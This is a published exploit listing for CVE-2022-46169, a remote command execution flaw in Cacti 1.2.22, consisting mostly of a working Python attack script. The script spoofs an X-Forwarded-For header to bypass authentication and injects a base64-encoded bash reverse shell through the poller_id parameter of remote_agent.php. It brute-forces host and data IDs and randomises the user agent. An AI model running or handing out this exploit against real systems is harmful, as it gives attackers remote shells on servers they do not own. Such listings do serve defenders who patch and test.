Authored by Riadh Bouchahoua

Cacti version 1.2.22 suffers from a remote command execution vulnerability.

advisories | CVE-2022-46169

# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)
# Exploit Author: Riadh BOUCHAHOUA
# Discovery Date: 2022-12-08
# Vendor Homepage: https://www.cacti.net/
# Software Links : https://github.com/Cacti/cacti
# Tested Version: 1.2.2x <= 1.2.22
# CVE: CVE-2022-46169
# Tested on OS: Debian 10/11

#!/usr/bin/env python3
import random
import httpx, urllib

class Exploit:
def __init__(self, url, proxy=None, rs_host="",rs_port=""):
self.url = url
self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)
self.rs_host = rs_host
self.rs_port = rs_port

def exploit(self):
# cacti local ip from the url for the X-Forwarded-For header
local_cacti_ip = self.url.split("//")[1].split("/")[0]

headers = {
'X-Forwarded-For': f'{local_cacti_ip}'
}

revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"
import base64
b64_revshell = base64.b64encode(revshell.encode()).decode()
payload = f";echo {b64_revshell} | base64 -d | bash -"
payload = urllib.parse.quote(payload)
urls = []

# Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)
for host_id in range(1,100):
for local_data_ids in range(1,100):
urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")

for url in urls:
r = self.session.get(url,headers=headers)
print(f"{r.status_code} - {r.text}" )
pass

def random_user_agent(self):
ua_list = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
]
return random.choice(ua_list)

def parse_args():
import argparse

argparser = argparse.ArgumentParser()
argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")
argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)
argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)
return argparser.parse_args()

def main() -> None:
# Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL
args = parse_args()
e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)
e.exploit()

if __name__ == "__main__":
main()